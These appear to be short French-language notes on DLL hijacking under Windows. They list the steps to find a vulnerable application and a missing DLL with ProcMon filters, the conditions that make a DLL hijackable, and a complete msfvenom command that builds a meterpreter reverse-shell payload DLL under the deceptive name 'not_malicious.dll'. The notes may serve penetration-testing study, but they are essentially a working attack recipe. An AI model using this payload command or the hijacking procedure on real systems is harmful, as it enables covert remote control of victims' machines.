Étapes pour réussir l’injection de DLL sous windows
- Identifier l’application vulnérable et son emplacement
- Identifer le ID du processus
- Identifier les DLL vulnérables qui peuvent être hijackés
- Remplacer la DLL d’origine
Génération d’une DLL pour création d’une session meterpreter
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=53 -f dll -o not_malicious.dll
Conditions pour qu’une DLL soit vulnérable
Doit être définie par l'application
Se termine par .DLL
Doit être exécutée par l'application
La DLL n'existe pas sur le systèeme
Privilège d'écriture à l'emplacement de la DLL Trouver des DLLs vulnérables avec l’utilitaire ProcMon
filter > Filter. Mettre Process Name, Contains et le nom de l’application dans le filtre.
Nous pouvons maintenant filtrer de nouveau avec
Path, ends with, .dll
Ce que nous voyons dans la colonne “Result” avec NAME NOT FOUND signifie que le logiciel tente de charger une DLL, mais ne la trouve pas.
Nous pouvons utiliser aussi un filtre
Result, contains, NAME NOT FOUND
